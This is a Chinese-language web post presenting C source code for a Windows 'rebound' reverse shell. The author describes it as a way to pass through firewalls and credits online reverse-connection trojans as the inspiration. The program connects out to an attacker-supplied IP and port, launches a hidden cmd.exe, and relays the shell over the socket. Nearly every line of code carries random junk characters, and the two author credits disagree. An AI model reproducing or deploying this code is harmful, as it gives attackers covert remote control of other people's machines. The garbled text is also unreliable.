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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rw/WD(  
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/* ============================== B/u0^!  
Rebound port in Windows NT JFf*v6:,  
By wind,2006/7 @5jJoy(mX@  
===============================*/ AdMA|!|:hc  
#include \} [{q  
#include sJu^deX  
*<Yn  
#pragma comment(lib,"wsock32.lib") /<,LM8n  
@LZ'Qc }@  
void OutputShell(); ,*ZdM w!  
SOCKET sClient; #/!fLU@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !.9pV.~  
XG2&_u&  
void main(int argc,char **argv) frV *+  
{ (:v|(Gn/  
WSADATA stWsaData; Qvo(2(  
int nRet; O&h3=?O&B  
SOCKADDR_IN stSaiClient,stSaiServer; =g| e- XC  
t-7^deG'/n  
if(argc != 3) j}}:&>;  
{ |eH >55 b  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ct2m l  
return; IO3`/R-  
} NGZEUtj  
#'m&<g,  
WSAStartup(MAKEWORD(2,2),&stWsaData); } m5AO4:  
T 1'8<pJ^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T4MB~5,i  
&-^|n*=g6  
stSaiClient.sin_family = AF_INET; k+Ew+j1_  
stSaiClient.sin_port = htons(0); ]*b}^PQM^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )Lt|]|1B{  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Zq wxi1  
{ '@OqWdaR  
printf("Bind Socket Failed!\n"); "o" ujQ(v  
return; ;\~{79c  
} TTB1}j+V6  
8/lv,m#  
stSaiServer.sin_family = AF_INET; "]*16t%Z%x  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2E]SKpJ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); EAiE@r>4  
sbnNk(XINQ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l-|hvv5g  
{ oS3}xT" U  
printf("Connect Error!"); s>y=-7:N  
return; ':al4m"  
} N$#518  
OutputShell(); 0a<:.}  
} $r0~& $T&  
"XQj ~L  
void OutputShell() 'nH/Z 84  
{ 9nW/pv  
char szBuff[1024]; 1e=<df  
SECURITY_ATTRIBUTES stSecurityAttributes; xDtq@Rb}  
OSVERSIONINFO stOsversionInfo; =apcMW(zn  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #H]b Xr  
STARTUPINFO stStartupInfo; g )H>Uu5@  
char *szShell; Q.SLiI  
PROCESS_INFORMATION stProcessInformation; rHhn)m  
unsigned long lBytesRead; ] Tc!=SV  
H"v3?g`S%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |0!oSNJ  
7)Zk:53]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 43_;Z| T  
stSecurityAttributes.lpSecurityDescriptor = 0; j TVh`d< N  
stSecurityAttributes.bInheritHandle = TRUE; d) V"tSC,  
`<R;^qCt  
p4} ,xQzB  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eK]g FXk  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M#v#3:&5  
8S;]]*cD~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }` &an$Mu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w]n ,`r^  
stStartupInfo.wShowWindow = SW_HIDE; %3v:c|r  
stStartupInfo.hStdInput = hReadPipe; {P'TtlEp  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B+e$S%HV  
u$T`Bn  
GetVersionEx(&stOsversionInfo); 3&*_5<t\X  
"YIrqk  
switch(stOsversionInfo.dwPlatformId) \;"$Z 9W  
{ Bvbv~7g (  
case 1: i1ph{;C  
szShell = "command.com"; &V. ps1  
break; F_8 < tA6  
default: DK2m(9/`3  
szShell = "cmd.exe"; +(>!nsf  
break; 5p9zl=mT  
} ;Dl< GW3<  
"T>74bj_|Q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K@Z K@++  
V*an0@  
send(sClient,szMsg,77,0); SSi-Z  
while(1) r >%reS  
{ Dx<">4   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gQ]WNJ~>  
if(lBytesRead) ^4jIT1  
{ 8;'fWV? U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z<j(ZVO  
send(sClient,szBuff,lBytesRead,0); gO C5  
} li>`9qCmI  
else o_un=ygU  
{ o+U]=q*|)$  
lBytesRead=recv(sClient,szBuff,1024,0); 1PwqW g-\\  
if(lBytesRead<=0) break; "2cJ'n/L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d'1 L#`?  
} uFd.2,XNP  
} +qz"+g  
FcR(uv<  
return; hY5G=nbO*  
}
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